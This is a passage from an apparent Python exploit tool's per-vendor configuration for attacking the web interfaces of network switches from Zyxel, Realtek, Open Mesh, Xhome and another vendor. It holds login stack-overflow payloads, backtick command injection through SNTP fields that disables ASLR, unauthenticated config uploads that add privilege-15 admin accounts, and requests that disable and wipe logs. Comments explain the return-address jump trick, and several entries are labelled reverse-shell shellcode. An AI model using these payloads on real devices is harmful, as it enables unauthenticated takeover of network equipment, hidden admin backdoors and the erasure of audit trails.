'status':'/cgi/get.cgi?cmd=log_global', 'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}', 'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear', 'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httpuploadruncfg.cgi', 'check_uri':'/tmp/http_saverun_cfg', 'content':'/var/config/running-config', 'content_check':'/var/config/running-config', 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi/httprestorecfg.cgi', 'check_uri':'/tmp/startup-config', 'content':'/mnt/startup-config', 'content_check':'/mnt/startup-config', 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'file', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'/tmp/http_uploadfail', 'content':'Copy: Illegal software format', # Not the real content, its the result of invalid firmware (workaround) 'content_check':'Copy: Illegal software format', 'vulnerable': True, 'safe': True }, 'login.cgi': { 'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)', 'authenticated': False, 'response':'file', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'check_uri':'/tmp/VUL.TXT', # We cannot control the content... 'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}', 'content_check':'1', 'vulnerable': True, 'safe': True }, 'set.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', #'encryption':'nopassword', #'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" nopassword\n\n------', # Yep, working too 'add_uri':'/cgi/httpuploadruncfg.cgi', 'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}', 'del_uri':'/cgi/set.cgi?cmd=sys_acctDel', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, 'enable_uri':'/cgi/set.cgi?cmd=sys_time', 'enable_query':'{"_ds=1&sntp=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_time', 'inject_uri':'/cgi/set.cgi?cmd=sys_time', 'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}', 'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_time', 'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_time', 'disable_query':'{"_ds=1&sntp=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_ping_post_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', #'log_settings_set_cmd':'&logState=1&consoleState=1&ramState=1&fileState=1', # Enable Logging CMD 'log_settings_set_cmd':'&empty=1', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&target=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&target=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}', 'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0', 'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0', 'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0', # CMD 'sys_timeSettings_set_cmd_enable':'&sntp=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sntp=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}', 'stack':True, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'Zyxel': { 'vendor': 'Zyxel Communications Corp.', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'encode', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': False, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=4353', 'status':'/cgi-bin/dispatcher.cgi?cmd=4352', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_4364=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_4364=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'dispatcher.cgi': { # 'username' also suffer from heap overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) + '&password='+ self.random_string(60) + '&STARTUP_BACKUP=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'clear', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------', #'encryption':'nopassword', #'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" nopassword\n\n------', # Yep, working too 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME', 'vulnerable': False, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { # Not vulnerable 'vulnerable': False, }, 'stack_cgi_add_account': { 'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_del_account': { 'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':False, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&_del=0', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'&_del=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123', 'sys_timeSntp_set_check':'', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&STARTUP_BACKUP=1', 'workaround':False, # My LAB workaround 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'Realtek': { 'vendor': 'Realtek', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=5121', 'status':'', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_5132=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_5132=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpupload.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpupload.cgi', 'check_uri':'', 'content':'dummy', 'content_check':'Image Signature Error', 'vulnerable': True, 'safe': True }, 'dispatcher.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'response':'502', 'Content-Type':False, 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username=admin&password='+ self.random_string(184) + '&login=1', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'json':False, 'authenticated': False, 'encryption':'md5', 'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------', 'add_uri':'/cgi-bin/httpuploadruncfg.cgi', 'del_query':'', 'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME', 'vulnerable': True, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':False, 'authenticated': True, 'enable_uri':'/cgi-bin/dispatcher.cgi', 'enable_query':'sntp_enable=1&cmd=548', 'status_uri':'', 'inject_uri':'/cgi-bin/dispatcher.cgi', 'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550', 'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550', 'delete_uri':'/cgi-bin/dispatcher.cgi', 'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550', 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'sntp_enable=0&cmd=548', 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_', 'sys_ping_post_check':'', 'sys_ping_post_SIGSEGV': False, # SIGSEGV ? 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD 'log_settings_set_SIGSEGV':False, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'', # Clean RAM log CMD 'log_ramClear_SIGSEGV':False, # Clean RAM log SIGSEGV ? 'log_fileClear_cmd':'', # Clean FILE log CMD 'log_fileClear_SIGSEGV':False, # Clean FILE log SIGSEGV ? 'workaround':True, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1', 'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123', 'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139', 'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139', 'sys_timeSettings_set_cmd_enable':'&sntp_enable=1', 'sys_timeSettings_set_cmd_disable':'&sntp_enable=0', 'sys_timeSettings_set_SIGSEGV': False, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/tmp/check', 'vulnerable': False, 'safe': True }, # # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack. # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1', 'workaround':True, # My LAB workaround 'stack':True, # False = use Heap, and there are no ASLR 'vulnerable': True, 'safe': True }, }, }, 'OpenMESH': { 'vendor': 'Open Mesh, Inc.', 'modulus_uri':'', 'info_leak':True, 'info_leak_JSON':False, 'info_leak_uri':'/loginMsg.js', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':True, 'encryption':'', 'login_uri':'', 'query':'', 'status_uri':'', 'logout_uri':'', 'vulnerable': False, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':True, 'disable_uri':'', 'disable_query':'', 'status':'', 'clean_logfile_uri':'', 'clean_logfile_query':'', 'clean_logmem_uri':'', 'clean_logmem_query':'', 'vulnerable': False, 'safe': True }, # Verify lacking authentication 'verify': { 'security.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/security.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(280), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'datajson.cgi': { # 'username' also suffer from stack overflow 'description':'Stack overflow in "username/password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr=admin&pswrd=' + self.random_string(288), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { 'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)', 'authenticated': False, 'uri':'/cgi-bin/sn_httpupload.cgi?', # Including alignment of opcodes in memory 'vulnerable': True, 'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart }, 'priv15_account': { 'description':'Upload/Update running-config (PoC: add priv 15 credentials)', 'authenticated': False, 'json':True, 'encryption':'', 'content':'', 'add_uri':'', 'del_query':'', 'del_uri':'', 'vulnerable': False, 'safe': True }, 'sntp': { 'description':'SNTP command injection (PoC: disable ASLR)', 'json':True, 'authenticated': True, # <================================ 'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}', 'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings', 'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp', 'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}', 'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}', 'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel', 'delete_query':'{"":{}}', 'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings', 'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}', 'verify_uri':'/tmp/check', 'vulnerable': True, # It is vulnerable, but I am not using this authenticated code here :> 'safe': True }, # # The stack overflow in 'username' and 'password' at same request are multipurpose. # # # The trick to jump and execute: # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination] # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important) # 4. We will also feed required function parameters, by adding them to '_CMD_' # # Bonus: Disable and clean logs # # 'stack_cgi_add_account': { 'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_del_account': { 'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_diag': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'verify_uri':'/conf_tmp/check', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, 'stack_cgi_log': { 'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'log_settings_set_cmd':'&en=0', # Disable Logging CMD 'log_settings_set_SIGSEGV':True, # Disable Logging SIGSEGV ? 'log_ramClear_cmd':'&ta=0', # Clean RAM CMD 'log_ramClear_SIGSEGV':True, # Clean RAM SIGSEGV ? 'log_fileClear_cmd':'&ta=1', # Clean FILE log CMD 'log_fileClear_SIGSEGV':True, # Clean FILE log SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'', 'vulnerable': True, 'safe': True }, 'stack_cgi_sntp': { 'description':'Stack overflow in "username/password" (PoC: Disable ASLR)', 'authenticated': False, 'uri':'/cgi-bin/datajson.cgi?login', 'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_', 'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123', 'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123', 'sys_timeSntpDel_set_cmd':'&sa=+&sp=123', # CMD 'sys_timeSettings_set_cmd_enable':'&sn=1', # Enable CMD 'sys_timeSettings_set_cmd_disable':'&sn=0', # Disable CMD 'sys_timeSettings_set_SIGSEGV': True, # SIGSEGV ? 'workaround':False, # My LAB workaround 'verify_uri':'/conf_tmp/check', 'vulnerable': True, 'safe': True }, # # Used for both 'heap' and 'stack' # 'heack_cgi_shell': { 'description':'Stack overflow in "username/password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi-bin/security.cgi?login', 'logout_uri':'/cgi-bin/security.cgi?logout', 'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', 'stack':False, # False = use Heap, and there are no ASLR 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, 'Xhome': { 'vendor': 'Xhome', 'modulus_uri':'', 'info_leak':False, 'info_leak_JSON':False, 'info_leak_uri':'', 'xsid':False, 'xsid_uri':'', 'login': { 'description':'Login/Logout on remote device', 'authenticated': True, 'json':False, 'encryption':'clear', 'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1', 'query':'username=USERNAME&password=PASSWORD&login=1', 'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547', 'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3', 'vulnerable': True, 'safe': True }, 'log':{ 'description':'Disable and clean logs', 'authenticated': True, 'json':False, 'disable_uri':'/cgi-bin/dispatcher.cgi', 'disable_query':'LOGGING_SERVICE=0&cmd=5121', 'status':'', 'clean_logfile_uri':'/cgi-bin/dispatcher.cgi', 'clean_logfile_query':'cmd_5132=Clear+file+messages', 'clean_logmem_uri':'/cgi-bin/dispatcher.cgi', 'clean_logmem_query':'cmd_5132=Clear+buffered+messages', 'vulnerable': True, 'safe': True }, # Verify lacking authentication 'verify': { 'httpuploadbakcfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "backup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadbakcfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httpuploadruncfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload/update "running-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httpuploadruncfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 'safe': True }, 'httprestorecfg.cgi':{ 'authenticated': False, 'response':'html', 'Content-Type':True, 'description':'Upload "startup-config" (PoC: Create invalid file to verify)', 'uri':'/cgi-bin/httprestorecfg.cgi', 'check_uri':'', 'content':'dummy', 'content_check':' Invalid config file!!', # one 0x20 in beginning 'vulnerable': True, 